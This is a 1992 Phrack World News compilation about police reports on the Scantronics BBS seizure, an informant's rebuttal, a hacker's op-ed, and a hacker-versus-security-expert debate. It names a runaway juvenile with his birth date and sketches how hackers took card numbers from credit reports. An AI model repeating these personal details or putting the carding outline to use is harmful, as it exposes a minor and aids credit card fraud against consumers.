‑ Hanging out with Crimson Death and Phantom Phreaker means worrying about being drug tested at work Monday morning.

‑ Hanging out with Crimson Death, Phantom Phreaker, and Erik Bloodaxe will teach you how to defeat Moday morning's drug test.

‑ Erik Bloodaxe and The Pope are the Siskel and Ebert of pornographic films. ‑ Agent Steal has big hair.

‑ Taran King has perfect hair.

PWN/Part 1

==Phrack Inc.==

Volume Four, Issue Forty, File 12 of 14

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

PWN PWN

PWN Phrack World News PWN

PWN PWN

PWN Issue 40 / Part 1 of 3 PWN

PWN PWN

PWN Compiled by Datastream Cowboy PWN

PWN PWN

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

Scantronics BBS Seized By San Diego Police Department July 1, 1992

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

By Knight Lightning and The Gatsby

Special Thanks to Bruce Bigelo (San Diego Union‑Tribune)

"Multiplexor and The Crypt Keeper Spill Guts"

A lot of stories have been circulating in the press over the past two months about hordes of credit card stealing computer hackers that were disrupting the economy of the United States. It all began with rumors about Multiplexor, a small time hacker that was thought to have spent some time in Long Island, New York and supposedly is from Indiana. The story was that Multiplexor had carded a plane ticket to San Diego to see a girl or meet some friends, but when he landed, he was met by the police instead.

Where that information or the supposed "1,000 member hacker ring" theory came from, we might never know, but we know do know the facts in this case thanks to police reports and warrant affidavits supplied by the court and acquired by The Gatsby with help.

That information and more is now available.

For purposes of understanding the following, "SEMENICK" and "MARCOV" are both the same person. You might know him better under the names of Multiplexor or The Prisoner. Later in this file, you will see references to a person named Kevin Marcus who is better known to some as The Crypt Keeper.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

SAN DIEGO POLICE DEPARTMENT Investigators Follow‑Up Report

CASE NUMBER: N/A

DATE: March 23, 1992

TIME: 1300 Hours

SUBJECT: Damage Assessment of and Intelligence gathering on Illegal entry (Hacking) Computer Systems and the Illegal use of Credit Cards. SUSPECT: SEMENICK, John Edward AKA: MARCOV, Eric Edward VICTIM: Zales Jewelry Store

LOCATION: 4465 La Jolla Village Drive, San Diego, CA DETECTIVE: Dennis W. Sadler (I.D.# 2486)

On March 31, 1992, I received a ARJIS 4 form from Officer Smyth (I.D.# 3871) regarding some papers found by a Mr. Maurice Osborne at his residence.

Mr. Osborne had asked an individual by the name of Eric MARCOV, who had rented a room from him, to leave. After MARCOV left the house, Mr. Osborne discovered some papers with what appeared to be credit card information on them. Mr. Osborne called the police and reported what he found.

Officer Smyth collected the papers and wrote the attached report. After reviewing these papers, I learned that they did in fact contain some personal information on individuals which included the person's name, address, credit card number, card expiration date, and social security number. It appeared that the person who wrote these notes was possibly using this credit card information illegally.

I contacted Mr. Osborne by phone on March 31st. He verified the contents of the report and he stated that he feels MARCOV may still be in town. On April 2nd, I was contacted by Mr. Osborne who learned that MARCOV was staying at a motel in the beach area named Sleepy Time.

On April 2, 1992, while in the beach area, I came across the Sleepy Time Motel. I contacted the motel manager, William Gainok. I asked Mr. Gainok if he had a person registered there by the name of Eric MARCOV. He said that he did and that Marcov was in room number 108.

At approximately 8:40 am, I knocked on the door to room number 108. A white male answered the door. I asked him if he was Eric MARCOV. He said yes. I identified myself as a San Diego Police Detective and told him that I needed to talk to him about some questionable credit card activity.

As he opened the motel room door, I saw more papers like <those> given to me by Mr. Osborne laying on the floor near the door with more credit card information on them. After being invited into the motel room, I asked MARCOV if he knew why I was here. He said I think so. I asked MARCOV why he thought so. He said the credit cards.

At this point, I was only interviewing MARCOV regarding the papers found at Mr. Osborne's residence. I had no active case or any evidence indicating that MARCOV was involved in, or a suspect of any criminal or illegal activity.

I asked MARCOV if he had any I.D. on him. He said that he did not. MARCOV gave me the following information; Eric Edward MARCOV, DOB 05‑15‑74, then changed the year to 73. He said he was 18 going on 19. He did not know his social security number. When asked if he had a drivers' license, he said that he has never had one. MARCOV appeared to be between the age of 17 to 19 years old.

While asking him about papers, he started talking about computers and gaining information from various systems. He talked for about 10 minutes. After that, I decided to call the FBI because hacking was involved in obtaining the credit card information and numbers, plus the information was coming from out of state. MARCOV also sounded like he knew a lot about computer hacking and was involved in it himself.

At 8:58 am, I called the local office of the FBI and told them what I had and asked if they would be interested in talking with MARCOV. I asked MARCOV prior to calling the FBI, if he would be willing to talk with them about his computer activities. He agreed to talk with them.

A short later Special Agent Keith Moses called me back at the motel. I explained to him what I had and what MARCOV was willing to talk about. After going over the case with Moses, he agreed to come out and talk with MARCOV.

Both Moses and I interviewed MARCOV regarding his hacking activities and knowledge. MARCOV was extensively involved in the hacking community during the last four years and had some superior knowledge about what was happening in the hacker world. We later learned that he had been arrested for computer crimes in early 1991 in Indianapolis. We attempted to contact the investigators that worked that case, but we never received any calls back after numerous attempts.

During the interview, I attempted to confirm MARCOV's true identity. I asked him for his parents' information. He said he did not remember their home phone numbers, but they had a phone. He also could not remember their home addresses. I asked him for his parents' employment information. He said that his father worked for a local (his home town) turbine company.

I called the information number for the local phone company and then called the company to verify this information. However, the company's personnel office could not locate any employee matching the name given to me by MARCOV. MARCOV also gave me the school and year he graduated. I called the local school district's administrative office and discovered they had no record of MARCOV attending or graduating from their school system.

I confronted him with this information and he finally gave me his true information. His true name was John Edward SEMENICK, DOB 05‑15‑75. I located his father's work number and contacted him. He was very uninterested about his son's whereabouts or condition. When asked if he would supply an airline or bus ticket for transportation home, he said he would not. His father further stated that when his son decided to come home, he'll have to find his own way. SEMENICK's parents are divorced and he lives with his father. However, we learned that his mother had filed a runaway report with the local sheriff's office.

I contacted his mother and she seemed a little more concerned, but said she would not provide a ticket or funds for his return. I asked both parents if while John was in San Diego would they have any problems if their son assisted us in our investigation. I explained to them that he was not facing any known criminal charges at that point and that the information he would be giving us would be for damage assessment and intelligence gathering purposes on hackers

Both parents stated that they had no problem with him assisting us if he was not being charged. Because SEMENICK was a juvenile and a runaway report was filed on him, we contacted the U.S. Attorney's office, the District Attorney's Juvenile Division, and the Juvenile Hall Probation Intake Officer for advice.

They advised us that their was no problem with him giving us information. SEMENICK was booked into Juvenile hall as a runaway and then released to a halfway home for the evening. The intake officer explained to us that because his parents would not send for him, they would only keep him for one evening and then he would be let go on his own again the next day.

After SEMENICK went through the runaway process and was being released, we picked him back up. The FBI agreed and furnished the fund's to put SEMENICK up in a hotel, give him living expenses, and then provide transportation for him home. SEMENICK was put up in a suite at the Mission Valley Marriott. He was allowed to do what he wanted while staying at the hotel and to see his friends at any time.

During SEMENICK's stay at the Marriott, either myself or Agent Moses stayed in the hotel room next to SEMENICK's. During the three day stay at the hotel, SEMENICK was able to provide us with some very useful information and intelligence. It was not enough to make any arrest, but we obtained some very valuable information. We were not able to independently verify the information by another source.

During the period of April 3rd to April 5th, 1992, SEMENICK contacted numerous persons by phone who were involved in computer hacking. SEMENICK willingly and voluntarily signed an FBI consent form giving us permission to record his phone calls during the course of our investigation. There were numerous tape recorded phone conversations involving at least 4 separate individuals.

During this same period of time, information in data format was also downloaded from another individual's computer located on the East Coast to the computer we had set up. The information we received during the download was current credit records just obtained from CBI credit reporting company by this person, a CBI manual written in part by "Kludge" a San Diego hacker, and numerous other files/documents involving illegal activity such as "carding." "Carding" is a term used by the hacker community regarding the illegal or fraudulent use of credit cards or credit card numbers by hackers nationwide.

SEMENICK stated that he had been a member of a local BBS called Scantronics when he was an active hacker. He stated that the board is run by a guy named "KLUDGE" and contains hundreds of files and documents. He said that most of these files and documents contained on "KLUDGE's" computer are "how to" manuals. This means that they instruct the person who obtains them through Scantronics BBS on how to do various things both legal and illegal. Some of the illegal activities that are covered on this BBS is carding, phone hacking, ATM fraud, and credit bureau information.

We obtained three documents written by or put out by either "KLUDGE" or Scantronics BBS.

THIS INVESTIGATION IS ONGOING AT THIS TIME AND FURTHER INFORMATION AND EVIDENCE WILL BE ADDED.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

SAN DIEGO POLICE DEPARTMENT Investigators Follow‑Up Report

CASE NUMBER: N/A

DATE: April 30, 1992

TIME: 0700 Hours

SUBJECT: Computer Hacking

SUSPECT: N/A

VICTIM: N/A

LOCATION: N/A

DETECTIVE: Dennis W. Sadler (I.D.# 2486)

On April 16, 1992, I was contacted by Kevin Marcus. Marcus learned that we were investigating individuals who were illegally logging (hacking) into various computer systems nationwide. Marcus runs a local computer bulletin board system (BBS) called The Programmer's Paradise. Marcus was concerned about the illegal activities had had seen on various local BBSs and contacted me.

Marcus also said that he had received computer messages from a person who goes by the name (handle) of Knight Lightning in New York who asked him if he heard anything about our investigation. Knight Lightning told Marcus that on April 3rd a reporter from San Diego by the name of Bigelo had contacted and talked to him about our ongoing investigation.

‑‑ ‑‑ ‑‑ ‑‑ ‑‑ ‑‑ ‑‑ ‑‑

Enclosure 1:

Date: Fri, 10 Apr 1992 18:14:11 ‑500

To: knight@eff.org

From: Craig Neidorf <knight@eff.org>

Subject: Runaway Teen Hacker Picked Up?

I was just contacted by a reporter in San Diego about a hacker case.

Apparently there is a teenage hacker from Indiana who ran away from home to California to see some girl there. The local police and the FBI supposedly picked him up on April 3rd and he remains in their custody uncharged while he is telling them all sorts of information on hacker rings across the nation.

Does anyone have any clues as to who this kid is or what's going on?

:Knight Lightning

‑‑ ‑‑ ‑‑ ‑‑ ‑‑ ‑‑ ‑‑ ‑

Enclosure 2:

Date: Thu, 16 Apr 1992 22:25:17 ‑0400

From: Craig Neidorf <knight@eff.org>

To: tck@netlink.cts.com

Subject: Re: Hi.

Bruce Bigelo, Union Tribune. Left his number at the office. Nothing going on, but I understand that you called him.

Craig

‑‑ ‑‑ ‑‑ ‑‑ ‑‑ ‑‑ ‑‑ ‑

Marcus offered to assist us. I asked if he knew of a BBS called Scantronics. He said that he did and that he had been a member of that BBS and view the files on that board in the past to see what the board carried. Marcus is a computer science major at a local college and is doing research in the antivirus field. Marcus stated that the board carried a lot of technical data, but had nothing regarding his subject. Marcus also belongs to other local and outof‑state BBSs where he talks with other individuals with his same interest.

Marcus stated that he was last on Scantronics BBS about a month ago and he had seen numerous computer files that involved CBI and carding. Carding is a term used by hackers who are involved in the illegal or fraudulent use of credit cards and their numbers. These credit card numbers are obtained from credit reporting companies such as CBI and TRW, by illegally accessing (hacking) their way into those company computers and reading or copying private individuals credit reports and information.

Most copies of credit reports from these companies will show a person's name, current and previous addresses, social security number, employer, salary, and all current credit history including all credit cards and their account numbers. They <the hackers> then use these credit card numbers to obtain goods.

If one of the hackers used an account number he found on a credit report that he illegally pulled from the credit reporting company, the victim would most likely not find out that their card had been illegally used until the next billing cycle which could be as much as 45 days after the illegal transaction took place. According to the credit card industry, this is one of the most risk free and safest way to commit credit card fraud.

Marcus said that the person's name who ran this BBS was Jeremy. He did not know his last name, but the handle he is known by is "KLUDGE." I asked if he knew the phone number to this BBS and he gave me 423‑4852. The BBS phone number, the operator's first name, and <the operator's> handle matched the information we had learned earlier.

Marcus also gave me two disks <that> contained some files which had been downloaded (left on his BBS) by other persons on his system. He regularly checks his board and removes or deletes files regarding questionable or illegal activity such as carding.

I viewed both of these disks and they contained some very interesting files. These files included various topics <such as> an auto theft manual, CBI manual, TRW manual, American Express card info, and many other files which if downloaded or copied by another person, that person could easily gain illegal access to various credit reporting companies and commit various other illegal types of activity.

I told Marcus if he came across any further information regarding this type of activity or further information about the BBS called Scantronics to please contact me.

On April 17, 1992, I met Marcus and he said that he had logged onto Scantronics last night by using an access number a friend gave him. This same friend had let him use his access number to gain access to this BBS on many prior occasions. He did this on his own, without any direction whatsoever from me or any other law enforcement official.

Marcus handed me a 5 1/4" computer disk and said that it contained some file listings and a list of all validated users. Marcus also stated that the disk contained a copy of the messages that were sent to him through his BBS by the person in New York regarding our investigation [those messages displayed above from Knight Lightning].

He asked me if I wanted him to log on and see for myself what was on "KLUDGE's" BBS. I told him that I would have to consult with the D.A.'s office first. However, I was unable to get a hold of our D.A. liaison. I told <Marcus> that I'd get back with him later.

After talking to D.A. Mike Carlton, I advised Marcus not to go into Scantronics BBS unless it was for his own information. However he said that if he came across any further information during his normal course of running his own BBS, he would notify me.

‑‑ ‑‑ ‑‑ ‑‑ ‑‑ ‑‑ ‑‑ ‑

[The police report also contained 60 pages of printouts of postings and text files found on Scantronics BBS. It is also made very clear that Kevin Marcus (aka The Crypt Keeper) accessed Scantronics BBS by using the password and account number of The Gatsby. Files include:

‑ "Credit Bureau Information" which sounds harmless enough to begin with and turns out is actually a reprint of an article from the September 27, 1992 issue of Business Week Magazine

‑ "Advanced Carding" by The Disk Jockey, which dates back to 1987.

‑ "The Complete CBI Manual of Operations" by Video Vindicator and Kludge, dated October 10, 1991.

Aftermath

~~~~~~~~~

On April 23, 1992, a search warrant was issued in the municipal court of the State of California in the county of San Diego which authorized the seizure of:

A. All telephone company subscriber information to include service start date, copy of most current billing statement, current credit information, and location of telephone service to the following telephone numbers; (619)XXX‑XXXX and (619)XXX‑XXXX and any other telephone number information in any chain of call forwarding, to or from the listed phone numbers.

B. All telephone company records which includes subscriber information, service start date, copy of most current billing statement, current credit information, and location of telephone service phone numbers to which calls are being forwarded to or from, from the listed phone numbers.

CERTIFICATION TO DEFER NOTIFICATION TO SUBSCRIBER

The Court finds there is substantial probable cause to believe notification to the subscriber whose activities are recorded in the records described above would impede or destroy this investigation. Accordingly, the court certifies the request of the San Diego Police Department that notification to the subscriber be deferred pending further order of this court.

On April 30, 1992, a search warrant was issued in the municipal court of the State of California in the county of San Diego which authorized the search of Kludge's residence and the seizure of:

All computer equipment and paraphernalia use in computer hacking, or apart of the BBS known as Scantronics which includes, but is not limited to monitor(s), keyboard(s), CPU(s), which may or may not contain hard disk drive(s), floppy drive(s), tape drive(s), CD rom drive(s), modem(s), fax/modem(s), all hard copies (paper copies) of any computer files which have been stored or currently stored on/in a computer system, all documents whether in hard or data form which show how to operate any computer program or computer file, all memory storage devices which may include hard disk drive(s), 5 1/4" and 3 1/2" computer memory storage disks, all computer memory storage and computer back up tapes, and all computer CD rom disks capable of computer data storage; and, documents and effects which tend to show dominion and control over said premises and computer system, including fingerprints, records, handwritings, documents and effects which bear a form of identification such as a person's name, photograph, social security number, or driver's license number and keys.

The warrant was used immediately and Scantronics BBS and much more was seized.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

The Crypt Keeper Responds

~~~~~~~~~~~~~~~~~~~~~~~~~

Date: Wed, 17 Jun 92 09:13:50 PDT

From: tck@bend.UCSD.EDU (Kevin Marcus)

To: knight@eff.org

Subject: Hmm.

I'll start at the beginning...

On April 3rd, I arrived at my workplace (a computer store) around 3 pm. Multiplexor is sitting in the back with some FBI agent and Detective Dennis Sadler. The reason they chose my store for technical support is because Dennis and one of my managers are very good friends.

I saw what was happening, and I saw Multiplexor call up Kludge's board and try to log on, but alas he was not validated. Nonetheless, that same day I told Gatsby and Kludge what was up, because they are/were my friends and I didn't want something bad to happen to them.

A few days later, my boss suggested that I tell Dennis that I was on Kludge's board awhile ago, but that I was not anymore because they might have found something on me. So the next time I saw him (he comes in about once a week, still), I told him that I was on the board awhile ago, but that I wasn't anymore. He asked a few stupid questions and I didn't really say a whole bunch about.

He eventually found out that I had warned Kludge about his board. I am not really sure how, I sure as heck didn't tell him. He then told me that I nearly blew their investigation and for interfering with an investigation the maximum penalty was like 5 years or something like that. He was getting ready to arrest me and take me down to the county courthouse when my boss was able to convince him that I was a good kid, not looking for trouble, and that I would get him something to re‑strengthen. So, even though Dennis didn't tell me specifically to get something from Kludge's board, he told me that what he needed to get his case back up to par was an idea of what was on the board, like a buffering of his system.

That night I called up Gatsby and got his password from him. I called and buffered. The next time that I saw him [Sadler], I told him what I had done. He wanted to know how I got on Kludge's board, and I told him through a friend's account. He asked me which friend, and I said "The Gatsby." He then started asking me a bunch of questions about Gatsby such as, "What is his real name?" And, at first I said that I didn't want to tell him, and then he said that I was withholding evidence and he could bust me on that alone. So I told him his name and that he lived in XXXXX (a suburb of San Diego). They already had him and Kludge in phone conversations over Kludge's line since it was taped for a while so they knew who he was in the first place.

If Sadler didn't have anything hanging over my head, such as interfering with an investigation, and/or withholding evidence, then I would not have said jack, more than likely. My first contact with him was on suggestion of my boss, who is a good friend of his, and he might have told my boss something which made him worry and think that I would be arrested for something, I do not know.

Now, if I was a nark, then I can assure you that a LOT more people would have gone down. I have a plethora of information on who is who, who is where, who does what, etc. and, even though it's old, I bet a lot of it is true. If I wanted there to be another Operation Sun‑Devil, then I would have given all of that information to him. But I didn't, because that is not at all what I had wanted. I didn't want anyone to get busted (including myself) for anything.

If I were a nark, then I would probably have given him a lot more information, wouldn't you think?

I sure do.

I am not asking anyone to forget about it. I know that I screwed up, but there is not a whole bunch about it that I can do right now.

When Sadler was here asking me questions, it didn't pop into my mind that I should tell him to wait and then go and call my attorney, and then a few minutes later come back and tell him whatever my lawyer said. I was scared.

________________________________________

Hackers Aren't The Real Enemy June 8, 1992

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

By Chris Goggans (ComputerWorld)(Page 37)

(Goggans is a 23‑year old hacker who is currently seeking employment with anyone who won't make him cut his hair.)

For years articles have been published about people who call themselves "hackers." These have been written by people who have investigated hackers, who have been the targets of hackers, who secure systems against hackers and who claim to know hackers. As a member of the so‑called "computer underground," I would like to present the hacker's point of view.

I hope you will put aside any personal bias you may have toward people who call themselves hackers because it is probably based on media reports rather than real contact.

I also hope you won't refuse to read this because you have a problem with my ethics. Over the past 11 years, operating under the pseudonym Erik Bloodaxe, I had opportunities to become rich beyond the dreams of avarice and wreak great havoc on the world's computer networks. Yet I have done neither. I have looked behind doors that were marked "employees only" but have never disrupted the operation of business. Voyeurism is a far cry from rape.

Illegal, but not criminal

Undeniably, the actions of some hackers are illegal, but they are still hardly criminal in nature. The intention of most of these individuals is not to destroy or exploit systems but merely to learn in minute detail how they are used and what they are used for. The quest is purely intellectual, but the drive to learn is so overwhelming that any obstacle blocking its course will be circumvented. Unfortunately, the obstacles are usually state and federal laws on unauthorized computer access.

The overwhelming difference between today's hackers and their 1960s MIT namesakes is that many of my contemporaries began their endeavors too young to have ready access to computer systems. Few 13‑year‑olds find themselves with system privileges on a VAX through normal channels.

My own first system was an Atari 8‑bit computer with 16K of memory. I soon realized that the potential of such a machine was extremely limited. With the purchase of a modem, however, I was able to branch out and suddenly found myself backed by state‑of‑the‑art computing power at remote sites across the globe. Often, I was given access by merely talking to administrators about the weak points in their systems, but most often my only access was whatever account I may have stumbled across.

Many people find it hard to understand why anyone would risk prosecution just to explore a computer system. I have asked myself that same question many times and cannot come up with a definitive answer. I do know that it is an addiction so strong that it can, if not balanced with other activities, lead to total obsession. Every hacker I know has spent days without sleep combing the recesses of a computer network, testing utilities and reading files. Many times I have become so involved in a project that I have forgotten to eat.

Hackers share almost no demographic similarities: They are of all income levels, races, colors and religions and come from almost every country. There are some shared characteristics, however. Obsessive‑compulsive behavior (drug or alcohol abuse, gambling, shoplifting) is one. Others have a history of divorce in their families, intelligence scores in the gifted to genius level, poor study habits and a distrust of any authority figure. Most hackers also combine inherent paranoia and a flair for the romantic ‑‑ which is apparent in the colorful pseudonyms in use throughout the hacker community.

In most cases, however, once hackers reach college age ‑‑ or, at minimum, the age of legal employment ‑‑ access to the systems they desire is more readily available through traditional means, and the need to break a law to learn is curtailed.

Popular media has contributed greatly to the negative use of the word "hacker." Any person found abusing a long‑distance calling card or other credit card is referred to as a hacker. Anyone found to have breached computer security on a system is likewise referred to as a hacker and heralded as a computer whiz, despite the fact that even those with the most basic computer literacy can breach computer security if they put their minds to it.

Although the media would have you believe otherwise, all statistics show that hackers have never been more than a drop in the bucket when it comes to serious computer crime. In fact, hackers are rarely more than a temporary nuisance, if they are discovered at all. The real danger lies in the fact that their methods are easily duplicated by people whose motives are far more sinister. Text files and other information that hackers write on computer systems can be used by any would‑be corporate spy to help form his plan of attack on a company.

Given that almost everyone is aware of the existence and capabilities of hackers ‑‑ and aware of how others can go through the doors hackers open ‑‑ the total lack of security in the world's computers is shocking.

Points of entry

The primary problem is poor systems administration. Users are allowed to select easily guessed passwords. Directory permissions are poorly set. Proper process accounting is neglected. Utilities to counter these problems exist for every operating system, yet they are not widely used.

Many systems administrators are not provided with current information to help them secure their systems. There is a terrible lack of communication between vendors and customers and inside the corporate community as a whole.

Rather than inform everyone of problems when they are discovered, vendors keep information in secret security databases or channel it to a select few through electronic‑mail lists. This does little to help the situation, and, in fact, it only makes matters worse because many hackers have access to these databases and to archives of the information sent in these mailing lists.

Another major problem in system security comes from telecommunications equipment. The various Bell operating companies have long been the targets of hackers, and many hackers know how to operate both corporate and central office systems better than the technicians who do so for a living.

Increased use of computer networks has added a whole new dimension of insecurity. If a computer is allowed to communicate with another on the same network, every computer in the link must be impenetrable or the security of all sites is in jeopardy. The most stunning examples of this occur on the Internet. With such a wide variety of problems and so little information available to remedy them, the field of computer security consulting is growing rapidly. Unfortunately, what companies are buying is a false sense of security. The main players seem to be the national accounting firms. Their high‑cost audits are most often procedural in nature, however, and are rarely conducted by individuals with enough technical expertise to make recommendations that will have a real and lasting effect.

Ultimately, it is the responsibility of the systems administrators to ensure that they have the proper tools to secure their sites against intrusion. Acquiring the necessary information can be difficult, but if outsiders can get their hands on this information, so can the people who are paid to do the job.

________________________________________

THE GREAT DEBATE

Phiber Optik v. Donn Parker

Cyberpunk Meets Mr. Security June 1992

~~~~~~~~~~~~~~~~~~~~~~~~~~~~

By Jonathan Littman (PC Computing Magazine)(Page 288)

The boy cautiously approached the table and asked the tall, distinguished bald gentleman in the gray suit if he could join him. The boy's conference name tag read Phiber Optik; the gentleman's read Donn Parker. One was a member of the Legion of Doom, the infamous sect of teenage hackers charged with fraud, conspiracy, and illegal computer access in 1990; the other was a legendary security expert.

The unlikely pair had been brought together by an unusual gathering, the nation's first Computers, Freedom, and Privacy conference, held in the San Francisco Bay Area on the last weekend of March 1991. They were part of an eclectic mix of G‑men, Secret Service agents, prosecutors, privacy advocates, and hackers who had come to see the other side up close.

Only weeks before, Optik's laptop computer had been seized by state police in an investigation begun by the Secret Service. Optik and fellow hackers Acid Phreak and Scorpion were among the first to come under the scrutiny of the Secret Service in the days of Operation Sun Devil, a 14‑city sweep in the spring of 1990 that resulted in 42 seized computers, 23,000 confiscated disks, and four arrests.

The criminal charges brought against Optik and his cohort included illegal computer access and trading in stolen access codes. Optik, a juvenile at the time of his initial questioning, spent a day in jail and was later convicted of a misdemeanor for theft of services.

Parker knew the story well. Over the last two decades, the former Lutheran Sunday school teacher has interviewed dozens of criminals to whom computers were simply the tools of the trade. Along the way, he earned a worldwide reputation as the bald eagle of computer crime. Parker speaks frequently to law‑enforcement agencies and corporations as a consultant to SRI International, a leading research and management firm based in Menlo Park, California. His books Fighting Computer Crime and Crime by Computer, countless articles, and a large Justice Department study on computer ethics have established him as the foremost authority on the hacker psyche.

PARKER: How do you view the ethics of getting into someone's computer system?

OPTIK: I know what your point of view is because I've read your papers and I've listened to you talk. I know that you think any entry, you know, any unauthorized entry, is criminal.

I can't say I agree with that. I do agree that anyone who's an impressionable teenager, who's on the scene and wants to break into as many computers as is humanly possible to prove a point, has the potential to do damage, because they're juveniles and have no idea what they're doing, and they're messing around in places that they have no business being.

At the time, I was 17 years old and still a minor. There was no way I was going to be able to buy a Unix, a VAX, my own switching system. These are the things I'm interested in learning how to program. It would not have been possible to access this type of computer development environment had I not learned how to break into systems. That's the way I see it.

PARKER: What are you doing at this conference? What's your purpose?

OPTIK: Basically I want to be exposed to as many people as possible and hear as many people's views as I can.

PARKER: What's your ultimate purpose then‑what would you like to do as far as a career? Do you think this is a way for you to get into a career?

OPTIK: Well, of course, I hope to enter the computer industry. Just by being here, I hope to talk to people like you, the many people who are professionals in the field, hear their views, have them hear my views.

See, the thing I regret the most is that there is this communication gap, a lack of dialogue between people who proclaim themselves to be hackers and people who are computer professionals. I think if there were a better dialogue among the more respectable type of hackers and the computer professionals, then it would be a lot more productive.

PARKER: How do you tell the difference between a more responsible type of hacker?

OPTIK: I realize that its a very big problem. I can see that it's pretty impossible to tell, and I can clearly understand how you come to the conclusions that you initially state in your paper about how hackers have been known to cheat, lie, and exaggerate. I experienced that firsthand all the time. I mean, these people are generally like that. Just keep in mind that a large number of them aren't really hardcore hackers ‑‑ they're impressionable teenagers hanging out. Its just that the medium they're using to hang out is computers.

I don't consider myself part of that crowd at all. I got into computers early on. Like when I was entering junior high school. I was really young, it must have been preteen years. I'm talking about 12 or 13 years old when I got a computer for Christmas.

I didn't immediately go online. I'm not one of these kids today that get a Commodore 64 with a modem for Christmas because they got good grades on their report card. The reason I would have called myself a hacker is, I was hacking in the sense of exploring the world inside my computer, as far as assembly language, machine language, electronics tinkering, and things of that nature. That truly interested me.

The whole social online thing I could really do without because that's where these ideas come from. You know, this whole negative, this bad aftertaste I get in my mouth when I hear people put down the whole hacking scene. Its because of what they're hearing, and the reason they're hearing this is because of the more outspoken people in this "computer underground" and the twisted coverage in the media, which is using this whole big hype to sell papers.

And the people who are paying the price for it are people like me; and the people who are getting a twisted view of things are the professionals, because they're only hearing the most vocal people. It's another reason why I'm here, to represent people like myself, who want other people to know there are such things as respectable hackers. You know hacking goes beyond impressionable young teenage delinquents.

PARKER: How would you define hacking?

OPTIK: It's this overall wanting to understand technology, to be able to communicate with a machine on a very low level, to be able to program it. Like when I come upon a computer, it's like my brain wants to talk to its microprocessor. That's basically my philosophy.

PARKER. And does it matter to you who actually owns the computer?

OPTIK: Usually it does. Oh, at first it didn't matter. The mere fact of getting into Unix, and learning Unix, was important enough to warrant me wanting to be on the system. Not because of information that was in there. I really don't care what the information is.

You know there's that whole Cyberpunk genre that believes information should be free. I believe in computer privacy wholly. I mean if someone wants something to be private, by all means let it be private. I mean, information is not meant for everyone to see if you design it as being private. That's why there is such a thing as security.

If someone wants to keep something private, I'm not going to try to read it. It doesn't interest me. I couldn't care less what people are saying to each other on electronic mail. I'm there because I'm interested in the hardware.

PARKER: How is anyone else going to know that you're not interested in reading their private mail?

OPTIK: That's a problem I have to deal with. There's not a real solution in the same way that there's no way that you're really going to be able to tell whether someone's malicious or not. Hackers do brag, cheat, and exaggerate. They might tell you one thing and then stab you in the back and say something else.

PARKER: I've interviewed over 120 so‑called computer criminals.

OPTIK: Right.

PARKER: I've interviewed a lot of hackers, and I've also interviewed a lot of people engaged in all kinds of white‑collar crime.

OPTIK: Yeah.

PARKER: And it seems to me that the people I have talked with that have been convicted of malicious hacking and have overcome and outgrown that whole thing have gone into legitimate systems programming jobs where there is great challenge, and they're very successful. They are not engaged in malicious hacking or criminal activity, and they're making a career for themselves in technology that they love.

OPTIK: Right.

PARKER: Why couldn't you go that route? Why couldn't you get your credentials by going to school like I did and like everybody else did who functions as a professional in the computer field, and get a challenging job in computer technology?

OPTIK: I certainly hope to get a challenging job in computer technology. But I just feel that where I live, and the way the school system is where I am, it doesn't cater to my needs of wanting to learn as much about technology as fast as I want to learn.

PARKER: Yeah, but one of the things you have to learn, I guess, is patience, and you have to be willing to work hard and learn the technology as it's presented.

OPTIK: You know, you just have to remember that by being able to go places that people shouldn't, I'm able to learn things about technology that schools don't teach. It's just that programs in local colleges where I am, they couldn't even begin to grasp things that I've experienced.

PARKER: OK, so you want instant gratification then.

OPTIK: It's not so much gratification . . .

PARKER: You're not willing to spend four years in a‑‑

OPTIK: I certainly am willing to go to college.

PARKER: Uh huh.

OPTIK: I definitely intend to go to college; I just don't expect to learn very much concerning technology. I do expect to learn some things about technology I probably didn't know, but I don't expect to be exposed to such a diverse amount of technology as in my teenage years.

PARKER: OK, well, I can see impatience and a lack of opportunity to do all that stuff very quickly, but‑‑

OPTIK: I wouldn't go so far as to call it impatience. I'd call it an eagerness to learn.

PARKER: Eagerness to learn can be applied in the establishment process of education in all kinds of ways. You can excel in school.

OPTIK: I was never Mr. Academia, I can tell you that right off the bat. I don't find much of interest in school. Usually I make up for it by reading technology manuals instead.

PARKER: How are you going to spend four years in school if you've already decided you're really not suited to be in school?

OPTIK: Well, it's not so much school as it is that I feel constrained being in high school and having to go through junior high school and high school because of the way the educational program are tailored to like, you know ‑‑

PARKER: Well, if you hold this direction that you're going right now, you could very well end up as a technician repairing equipment, maintaining computers, and you could very well end up in a dead‑end job.

In order to break into a higher level of work, you need a ticket, you need a degree, you have to prove that you have been able to go to school and get acceptable grades. The route that you're going doesn't seem to me to lead to that.

Now there are some people who have managed to overcome that, OK ‑Geoff Goodfellow. Steve Wozniak. But those people are 1 out of 100,000. All the other 99,000‑odd people are technicians. They're leading reasonable lives, making a reasonable income, but they're not doing very big things. They're keeping equipment running.

OPTIK: Yeah.

PARKER: And if you have all this curiosity and all this drive and this energy (which is what it takes), and you go a route that gets you to a position where you can do real, exciting, advanced research . . . I mean, I've talked to a lot of hackers. I'm thinking of one in Washington, D.C., who was convicted of a computer crime. He went back to school, he's got his degree, and he has a very top systems programming job. He said he finally reached a point where he decided he had to change the way he was going about this, because the way things were going, the future for him was pretty bleak.

And it seems to me, hopefully, you may come to a realization that to do important things, exciting things, ultimately you've got to learn the computer‑science way of presenting operating systems, and how to write programs of a very large, complex nature.

Have you ever done that, have you ever written a really big computer program?

OPTIK: I've written this . . .

PARKER: There's a discipline involved that has to do with learning how to be an engineer. It takes a tremendous amount of education and discipline. And it sounds to me like you lack the discipline. You want instant gratification, you want to be an expert now. And you end up being an expert all right, but in a very narrow range of technology.

You learn the Novell LAN, you learn some other aspect, you learn about a telephone company's switching system. That doesn't lead to a career in designing and developing systems. That leads to a career in maintaining the kind of hardware that you've been hacking.

